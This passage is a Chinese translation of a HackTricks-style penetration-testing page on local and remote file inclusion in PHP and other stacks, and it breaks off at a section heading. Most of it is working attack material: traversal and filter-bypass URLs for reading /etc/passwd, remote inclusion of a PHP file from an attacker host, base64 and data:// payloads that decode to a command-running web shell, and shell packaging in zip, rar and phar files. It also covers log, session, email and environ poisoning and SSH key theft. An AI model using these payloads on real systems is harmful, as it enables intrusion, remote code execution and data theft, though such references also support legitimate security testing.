mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
620 lines
30 KiB
Markdown
620 lines
30 KiB
Markdown
# 文件包含/路径遍历
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## 文件包含
|
||
|
||
**远程文件包含 (RFI):** 文件从远程服务器加载(最佳:您可以编写代码,服务器将执行它)。在 php 中,这个功能默认是 **禁用** 的 (**allow_url_include**)。\
|
||
**本地文件包含 (LFI):** 服务器加载本地文件。
|
||
|
||
当用户以某种方式控制将要被服务器加载的文件时,就会发生漏洞。
|
||
|
||
易受攻击的 **PHP 函数**: require, require_once, include, include_once
|
||
|
||
一个有趣的工具来利用这个漏洞: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||
|
||
## Blind - Interesting - LFI2RCE 文件
|
||
```python
|
||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||
```
|
||
### **Linux**
|
||
|
||
**混合多个 \*nix LFI 列表并添加更多路径,我创建了这个:**
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||
{{#endref}}
|
||
|
||
尝试将 `/` 更改为 `\`\
|
||
尝试添加 `../../../../../`
|
||
|
||
一个使用多种技术查找文件 /etc/password(以检查漏洞是否存在)的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) 找到。
|
||
|
||
### **Windows**
|
||
|
||
不同字典的合并:
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||
{{#endref}}
|
||
|
||
尝试将 `/` 更改为 `\`\
|
||
尝试删除 `C:/` 并添加 `../../../../../`
|
||
|
||
一个使用多种技术查找文件 /boot.ini(以检查漏洞是否存在)的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) 找到。
|
||
|
||
### **OS X**
|
||
|
||
检查 Linux 的 LFI 列表。
|
||
|
||
## 基本 LFI 和绕过
|
||
|
||
所有示例都是针对本地文件包含的,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)。
|
||
```
|
||
http://example.com/index.php?page=../../../etc/passwd
|
||
```
|
||
### 非递归剥离遍历序列
|
||
```python
|
||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||
```
|
||
### **空字节 (%00)**
|
||
|
||
绕过在提供的字符串末尾附加更多字符(绕过:$\_GET\['param']."php")
|
||
```
|
||
http://example.com/index.php?page=../../../etc/passwd%00
|
||
```
|
||
这是 **自 PHP 5.4 起已解决**
|
||
|
||
### **编码**
|
||
|
||
您可以使用非标准编码,例如双重 URL 编码(和其他编码):
|
||
```
|
||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||
```
|
||
### 从现有文件夹
|
||
|
||
也许后端正在检查文件夹路径:
|
||
```python
|
||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||
```
|
||
### 在服务器上探索文件系统目录
|
||
|
||
服务器的文件系统可以通过某些技术递归地探索,以识别目录,而不仅仅是文件。此过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目标的详细方法:
|
||
|
||
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度(适用于基于Linux的服务器)。一个示例URL可能结构如下,表示深度为三:
|
||
```bash
|
||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||
```
|
||
2. **探测文件夹:** 将可疑文件夹的名称(例如,`private`)附加到 URL,然后导航回 `/etc/passwd`。额外的目录级别需要将深度增加一个:
|
||
```bash
|
||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||
```
|
||
3. **解释结果:** 服务器的响应指示文件夹是否存在:
|
||
- **错误 / 无输出:** 文件夹 `private` 可能在指定位置不存在。
|
||
- **`/etc/passwd` 的内容:** 确认存在 `private` 文件夹。
|
||
4. **递归探索:** 发现的文件夹可以使用相同的技术或传统的本地文件包含 (LFI) 方法进一步探测子目录或文件。
|
||
|
||
要在文件系统的不同位置探索目录,请相应地调整有效载荷。例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录深度为 3),请使用:
|
||
```bash
|
||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||
```
|
||
### **路径截断技术**
|
||
|
||
路径截断是一种用于操纵Web应用程序中文件路径的方法。它通常用于通过绕过某些安全措施来访问受限文件,这些安全措施会在文件路径的末尾附加额外字符。目标是构造一个文件路径,该路径在被安全措施修改后,仍然指向所需的文件。
|
||
|
||
在PHP中,由于文件系统的特性,文件路径的各种表示可以被视为等效。例如:
|
||
|
||
- `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`和`/etc/passwd/`都被视为相同的路径。
|
||
- 当最后6个字符是`passwd`时,附加一个`/`(使其变为`passwd/`)不会改变目标文件。
|
||
- 同样,如果在文件路径后附加`.php`(如`shellcode.php`),在末尾添加`/.`不会改变被访问的文件。
|
||
|
||
提供的示例演示了如何利用路径截断访问`/etc/passwd`,这是一个由于其敏感内容(用户账户信息)而常见的目标:
|
||
```
|
||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||
```
|
||
|
||
```
|
||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||
```
|
||
在这些场景中,所需的遍历次数可能在2027左右,但这个数字可能会根据服务器的配置而有所不同。
|
||
|
||
- **使用点段和附加字符**:遍历序列(`../`)与额外的点段和字符结合使用,可以用来导航文件系统,有效地忽略服务器附加的字符串。
|
||
- **确定所需的遍历次数**:通过反复试验,可以找到导航到根目录然后到`/etc/passwd`所需的精确`../`序列数量,确保任何附加的字符串(如`.php`)被中和,但所需的路径(`/etc/passwd`)保持不变。
|
||
- **从虚假目录开始**:通常的做法是以一个不存在的目录(如`a/`)开始路径。这种技术作为预防措施或满足服务器路径解析逻辑的要求。
|
||
|
||
在使用路径截断技术时,理解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要测试以找到最有效的方式。
|
||
|
||
**此漏洞在PHP 5.3中已被修复。**
|
||
|
||
### **过滤器绕过技巧**
|
||
```
|
||
http://example.com/index.php?page=....//....//etc/passwd
|
||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||
http://example.com/index.php?page=PhP://filter
|
||
```
|
||
## 远程文件包含
|
||
|
||
在 php 中,默认情况下这是禁用的,因为 **`allow_url_include`** 是 **关闭** 的。它必须是 **开启** 的才能工作,在这种情况下,您可以从您的服务器包含一个 PHP 文件并获得 RCE:
|
||
```python
|
||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||
```
|
||
如果由于某种原因 **`allow_url_include`** 是 **开启** 的,但 PHP 正在 **过滤** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以使用例如数据协议与 base64 来解码 b64 PHP 代码并获得 RCE:
|
||
```
|
||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||
```
|
||
> [!NOTE]
|
||
> 在之前的代码中,最后的 `+.txt` 被添加是因为攻击者需要一个以 `.txt` 结尾的字符串,因此字符串以它结尾,并且在 b64 解码后那部分将返回垃圾数据,真正的 PHP 代码将被包含(因此被执行)。
|
||
|
||
另一个**不使用 `php://` 协议**的例子是:
|
||
```
|
||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||
```
|
||
## Python 根元素
|
||
|
||
在 Python 中,像这样的代码:
|
||
```python
|
||
# file_name is controlled by a user
|
||
os.path.join(os.getcwd(), "public", file_name)
|
||
```
|
||
如果用户传递一个 **绝对路径** 给 **`file_name`**,那么 **之前的路径将被移除**:
|
||
```python
|
||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||
'/etc/passwd'
|
||
```
|
||
根据[文档](https://docs.python.org/3.10/library/os.path.html#os.path.join)的说明,这是预期的行为:
|
||
|
||
> 如果一个组件是绝对路径,则所有先前的组件都会被丢弃,并从绝对路径组件继续连接。
|
||
|
||
## Java 列出目录
|
||
|
||
看起来如果你在 Java 中有路径遍历并且你**请求一个目录**而不是文件,**将返回该目录的列表**。在其他语言中(据我所知)不会发生这种情况。
|
||
|
||
## 前25个参数
|
||
|
||
以下是可能受到本地文件包含(LFI)漏洞影响的前25个参数列表(来自[链接](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||
```
|
||
?cat={payload}
|
||
?dir={payload}
|
||
?action={payload}
|
||
?board={payload}
|
||
?date={payload}
|
||
?detail={payload}
|
||
?file={payload}
|
||
?download={payload}
|
||
?path={payload}
|
||
?folder={payload}
|
||
?prefix={payload}
|
||
?include={payload}
|
||
?page={payload}
|
||
?inc={payload}
|
||
?locate={payload}
|
||
?show={payload}
|
||
?doc={payload}
|
||
?site={payload}
|
||
?type={payload}
|
||
?view={payload}
|
||
?content={payload}
|
||
?document={payload}
|
||
?layout={payload}
|
||
?mod={payload}
|
||
?conf={payload}
|
||
```
|
||
## LFI / RFI 使用 PHP 包装器和协议
|
||
|
||
### php://filter
|
||
|
||
PHP 过滤器允许在数据被读取或写入之前执行基本的 **修改操作**。过滤器分为 5 类:
|
||
|
||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||
- `string.rot13`
|
||
- `string.toupper`
|
||
- `string.tolower`
|
||
- `string.strip_tags`: 从数据中移除标签(在 "<" 和 ">" 字符之间的所有内容)
|
||
- 请注意,这个过滤器在现代版本的 PHP 中已经消失
|
||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||
- `convert.base64-encode`
|
||
- `convert.base64-decode`
|
||
- `convert.quoted-printable-encode`
|
||
- `convert.quoted-printable-decode`
|
||
- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码列表**,请在控制台运行:`iconv -l`
|
||
|
||
> [!WARNING]
|
||
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这可能对写入任意文本或使函数如 include 处理任意文本有用。有关更多信息,请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
|
||
|
||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||
- `zlib.deflate`: 压缩内容(在提取大量信息时很有用)
|
||
- `zlib.inflate`: 解压数据
|
||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||
- `mcrypt.*` : 已弃用
|
||
- `mdecrypt.*` : 已弃用
|
||
- 其他过滤器
|
||
- 在 php 中运行 `var_dump(stream_get_filters());` 可以找到几个 **意外的过滤器**:
|
||
- `consumed`
|
||
- `dechunk`: 反转 HTTP 分块编码
|
||
- `convert.*`
|
||
```php
|
||
# String Filters
|
||
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
|
||
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
|
||
## Same chain without the "|" char
|
||
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
|
||
## string.string_tags example
|
||
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
|
||
|
||
# Conversion filter
|
||
## B64 decode
|
||
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
|
||
## Chain B64 encode and decode
|
||
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
|
||
## convert.quoted-printable-encode example
|
||
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
|
||
=C2=A3hellooo=3D
|
||
## convert.iconv.utf-8.utf-16le
|
||
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
|
||
|
||
# Compresion Filter
|
||
## Compress + B64
|
||
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
|
||
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
|
||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||
```
|
||
> [!WARNING]
|
||
> "php://filter" 部分不区分大小写
|
||
|
||
### 使用 php 过滤器作为 oracle 读取任意文件
|
||
|
||
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于 **使用 php 过滤器作为 oracle 的文件布尔外泄(逐字符)**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。
|
||
|
||
在原始文章中可以找到该技术的详细解释,但这里是一个快速总结:
|
||
|
||
- 使用编码 **`UCS-4LE`** 将文本的前导字符留在开头,并使字符串的大小呈指数级增长。
|
||
- 这将用于生成一个 **当初始字母正确猜测时变得非常大的文本**,以至于 php 会触发一个 **错误**。
|
||
- **dechunk** 过滤器将 **删除所有内容,如果第一个字符不是十六进制**,因此我们可以知道第一个字符是否是十六进制。
|
||
- 这与前一个(以及其他根据猜测字母的过滤器)结合,将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制,dechunk 不会删除它,初始炸弹将使 php 出错。
|
||
- 编码 **convert.iconv.UNICODE.CP930** 将每个字母转换为下一个字母(因此在此编码后:a -> b)。这使我们能够发现第一个字母是否是 `a`,例如,因为如果我们应用 6 次此编码 a->b->c->d->e->f->g,该字母不再是十六进制字符,因此 dechunk 不会删除它,php 错误被触发,因为它与初始炸弹相乘。
|
||
- 使用其他转换如 **rot13** 在开头可以泄露其他字符如 n, o, p, q, r(其他编码可以用于将其他字母移动到十六进制范围)。
|
||
- 当初始字符是数字时,需要对其进行 base64 编码并泄露前两个字母以泄露该数字。
|
||
- 最后一个问题是 **如何泄露超过初始字母**。通过使用顺序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,并在文本的首位获取其他字母。
|
||
- 为了能够获取 **更多数据**,想法是 **在开头生成 2 字节的垃圾数据**,使用 **convert.iconv.UTF16.UTF16**,应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**,并 **删除数据直到垃圾数据**(这将删除初始文本的前 2 字节)。继续这样做,直到达到所需的泄露位。
|
||
|
||
在文章中还泄露了一种自动执行此操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
|
||
|
||
### php://fd
|
||
|
||
此包装器允许访问进程打开的文件描述符。可能对外泄打开文件的内容有用:
|
||
```php
|
||
echo file_get_contents("php://fd/3");
|
||
$myfile = fopen("/etc/passwd", "r");
|
||
```
|
||
您还可以使用 **php://stdin, php://stdout 和 php://stderr** 分别访问 **文件描述符 0, 1 和 2**(不确定这在攻击中如何有用)
|
||
|
||
### zip:// 和 rar://
|
||
|
||
上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它。\
|
||
为了能够滥用 rar 协议,它 **需要被特别激活**。
|
||
```bash
|
||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||
zip payload.zip payload.php;
|
||
mv payload.zip shell.jpg;
|
||
rm payload.php
|
||
|
||
http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
||
|
||
# To compress with rar
|
||
rar a payload.rar payload.php;
|
||
mv payload.rar shell.jpg;
|
||
rm payload.php
|
||
http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
||
```
|
||
### data://
|
||
```
|
||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||
```
|
||
请注意,此协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 的限制。
|
||
|
||
### expect://
|
||
|
||
必须激活 Expect。您可以使用以下方式执行代码:
|
||
```
|
||
http://example.com/index.php?page=expect://id
|
||
http://example.com/index.php?page=expect://ls
|
||
```
|
||
### input://
|
||
|
||
在POST参数中指定您的有效负载:
|
||
```bash
|
||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||
```
|
||
### phar://
|
||
|
||
一个 `.phar` 文件可以在 web 应用程序利用 `include` 等函数进行文件加载时执行 PHP 代码。下面提供的 PHP 代码片段演示了如何创建一个 `.phar` 文件:
|
||
```php
|
||
<?php
|
||
$phar = new Phar('test.phar');
|
||
$phar->startBuffering();
|
||
$phar->addFromString('test.txt', 'text');
|
||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||
$phar->stopBuffering();
|
||
```
|
||
要编译 `.phar` 文件,应执行以下命令:
|
||
```bash
|
||
php --define phar.readonly=0 create_path.php
|
||
```
|
||
执行后,将创建一个名为 `test.phar` 的文件,这可能被利用来利用本地文件包含(LFI)漏洞。
|
||
|
||
在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下,通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数,可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件有关。
|
||
|
||
有关在 `.phar` 文件上下文中利用反序列化漏洞的详细理解,请参阅下面链接的文档:
|
||
|
||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||
|
||
{{#ref}}
|
||
phar-deserialization.md
|
||
{{#endref}}
|
||
|
||
### CVE-2024-2961
|
||
|
||
可以滥用 **任何支持 php 过滤器的 PHP 中的任意文件读取** 来获得 RCE。详细描述可以在 [**此帖子中找到**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
|
||
非常简要的总结:在 PHP 堆中滥用 **3 字节溢出** 来 **更改特定大小的空闲块链**,以便能够 **在任何地址写入任何内容**,因此添加了一个钩子来调用 **`system`**。\
|
||
可以通过滥用更多的 php 过滤器来分配特定大小的块。
|
||
|
||
### 更多协议
|
||
|
||
查看更多可能的 [**协议以包含在此**](https://www.php.net/manual/en/wrappers.php)**:**
|
||
|
||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在文件包含攻击中如何有用)
|
||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统
|
||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URL
|
||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URL
|
||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 压缩流
|
||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(不返回任何可打印内容,因此在这里并不实用)
|
||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — 安全外壳 2
|
||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适合读取任意文件)
|
||
|
||
## 通过 PHP 的 'assert' 进行 LFI
|
||
|
||
在处理 'assert' 函数时,PHP 中的本地文件包含(LFI)风险显著较高,因为该函数可以执行字符串中的代码。如果输入包含目录遍历字符如 ".." 被检查但未正确清理,这尤其成问题。
|
||
|
||
例如,PHP 代码可能被设计为防止目录遍历,如下所示:
|
||
```bash
|
||
assert("strpos('$file', '..') === false") or die("");
|
||
```
|
||
虽然这旨在阻止遍历,但不经意间创建了代码注入的向量。为了利用这一点读取文件内容,攻击者可以使用:
|
||
```plaintext
|
||
' and die(highlight_file('/etc/passwd')) or '
|
||
```
|
||
同样,对于执行任意系统命令,可以使用:
|
||
```plaintext
|
||
' and die(system("id")) or '
|
||
```
|
||
重要的是要**对这些有效载荷进行URL编码**。
|
||
|
||
## PHP盲路径遍历
|
||
|
||
> [!WARNING]
|
||
> 这种技术在您**控制**一个**PHP函数**的**文件路径**并且该函数将**访问一个文件**但您看不到文件内容的情况下是相关的(例如简单调用**`file()`**)但内容不会显示。
|
||
|
||
在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历以**通过错误oracle提取文件内容**。
|
||
|
||
总之,该技术使用**"UCS-4LE"编码**使文件内容变得如此**庞大**以至于**打开**该文件的**PHP函数**将触发一个**错误**。
|
||
|
||
然后,为了泄露第一个字符,过滤器**`dechunk`**与其他过滤器如**base64**或**rot13**一起使用,最后使用过滤器**convert.iconv.UCS-4.UCS-4LE**和**convert.iconv.UTF16.UTF-16BE**来**在开头放置其他字符并泄露它们**。
|
||
|
||
**可能存在漏洞的函数**:`file_get_contents`,`readfile`,`finfo->file`,`getimagesize`,`md5_file`,`sha1_file`,`hash_file`,`file`,`parse_ini_file`,`copy`,`file_put_contents (仅限目标只读)`,`stream_get_contents`,`fgets`,`fread`,`fgetc`,`fgetcsv`,`fpassthru`,`fputs`
|
||
|
||
有关技术细节,请查看上述文章!
|
||
|
||
## LFI2RCE
|
||
|
||
### 远程文件包含
|
||
|
||
如前所述,[**请访问此链接**](#remote-file-inclusion)。
|
||
|
||
### 通过Apache/Nginx日志文件
|
||
|
||
如果Apache或Nginx服务器在包含函数内部**易受LFI攻击**,您可以尝试访问**`/var/log/apache2/access.log`或`/var/log/nginx/access.log`**,在**用户代理**或**GET参数**中设置一个php shell,如**`<?php system($_GET['c']); ?>`**并包含该文件。
|
||
|
||
> [!WARNING]
|
||
> 请注意,**如果您使用双引号**而不是**单引号**来编写shell,双引号将被修改为字符串"_**quote;**_",**PHP将在那里抛出一个错误**,并且**不会执行其他任何内容**。
|
||
>
|
||
> 此外,请确保**正确编写有效载荷**,否则每次PHP尝试加载日志文件时都会出错,您将没有第二次机会。
|
||
|
||
这也可以在其他日志中完成,但**请小心,**日志中的代码可能会被URL编码,这可能会破坏Shell。头部**授权 "basic"**包含"用户:密码"的Base64编码,并在日志中解码。PHPShell可以插入到此头部中。\
|
||
其他可能的日志路径:
|
||
```python
|
||
/var/log/apache2/access.log
|
||
/var/log/apache/access.log
|
||
/var/log/apache2/error.log
|
||
/var/log/apache/error.log
|
||
/usr/local/apache/log/error_log
|
||
/usr/local/apache2/log/error_log
|
||
/var/log/nginx/access.log
|
||
/var/log/nginx/error.log
|
||
/var/log/httpd/error_log
|
||
```
|
||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||
|
||
### 通过电子邮件
|
||
|
||
**发送邮件**到内部账户 (user@localhost),包含你的 PHP 负载,如 `<?php echo system($_REQUEST["cmd"]); ?>`,并尝试包含用户的邮件,路径如 **`/var/mail/<USERNAME>`** 或 **`/var/spool/mail/<USERNAME>`**
|
||
|
||
### 通过 /proc/\*/fd/\*
|
||
|
||
1. 上传大量 shell(例如:100)
|
||
2. 包含 [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD),其中 $PID = 进程的 PID(可以暴力破解),$FD 是文件描述符(也可以暴力破解)
|
||
|
||
### 通过 /proc/self/environ
|
||
|
||
像日志文件一样,在 User-Agent 中发送负载,它将反映在 /proc/self/environ 文件中
|
||
```
|
||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||
User-Agent: <?=phpinfo(); ?>
|
||
```
|
||
### 通过上传
|
||
|
||
如果您可以上传文件,只需在其中注入 shell 负载 (例如:`<?php system($_GET['c']); ?>`)。
|
||
```
|
||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||
```
|
||
为了保持文件的可读性,最好将其注入到图片/doc/pdf 的元数据中。
|
||
|
||
### 通过 ZIP 文件上传
|
||
|
||
上传一个包含压缩 PHP shell 的 ZIP 文件并访问:
|
||
```python
|
||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||
```
|
||
### 通过 PHP 会话
|
||
|
||
检查网站是否使用 PHP 会话 (PHPSESSID)
|
||
```
|
||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||
```
|
||
在 PHP 中,这些会话存储在 _/var/lib/php5/sess\\_\[PHPSESSID]\_ 文件中。
|
||
```
|
||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||
```
|
||
将 cookie 设置为 `<?php system('cat /etc/passwd');?>`
|
||
```
|
||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||
```
|
||
使用 LFI 包含 PHP 会话文件
|
||
```
|
||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||
```
|
||
### 通过 ssh
|
||
|
||
如果 ssh 处于活动状态,请检查正在使用的用户(/proc/self/status & /etc/passwd),并尝试访问 **\<HOME>/.ssh/id_rsa**
|
||
|
||
### **通过** **vsftpd** _**日志**_
|
||
|
||
FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在本地文件包含(LFI)漏洞的情况下,并且可以访问暴露的 vsftpd 服务器,可以考虑以下步骤:
|
||
|
||
1. 在登录过程中将 PHP 有效负载注入到用户名字段中。
|
||
2. 注入后,利用 LFI 从 _**/var/log/vsftpd.log**_ 检索服务器日志。
|
||
|
||
### 通过 php base64 过滤器(使用 base64)
|
||
|
||
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示,PHP base64 过滤器只会忽略非 base64。您可以利用这一点绕过文件扩展名检查:如果您提供以 ".php" 结尾的 base64,它只会忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例:
|
||
```url
|
||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||
|
||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||
```
|
||
### 通过 php 过滤器(不需要文件)
|
||
|
||
这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意的 php 代码** 进行包含 **而不需要将其写入** 文件。
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-php-filters.md
|
||
{{#endref}}
|
||
|
||
### 通过段错误
|
||
|
||
**上传** 一个将被存储为 **临时** 文件在 `/tmp`,然后在 **同一请求中** 触发 **段错误**,然后 **临时文件将不会被删除**,你可以搜索它。
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-segmentation-fault.md
|
||
{{#endref}}
|
||
|
||
### 通过 Nginx 临时文件存储
|
||
|
||
如果你发现了 **本地文件包含** 并且 **Nginx** 在 PHP 前面运行,你可能能够通过以下技术获得 RCE:
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-nginx-temp-files.md
|
||
{{#endref}}
|
||
|
||
### 通过 PHP_SESSION_UPLOAD_PROGRESS
|
||
|
||
如果你发现了 **本地文件包含** 即使你 **没有会话** 并且 `session.auto_start` 是 `Off`。如果你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**,PHP 将 **为你启用会话**。你可以利用这一点获得 RCE:
|
||
|
||
{{#ref}}
|
||
via-php_session_upload_progress.md
|
||
{{#endref}}
|
||
|
||
### 通过 Windows 中的临时文件上传
|
||
|
||
如果你发现了 **本地文件包含** 并且服务器在 **Windows** 中运行,你可能会获得 RCE:
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-temp-file-uploads.md
|
||
{{#endref}}
|
||
|
||
### 通过 `pearcmd.php` + URL 参数
|
||
|
||
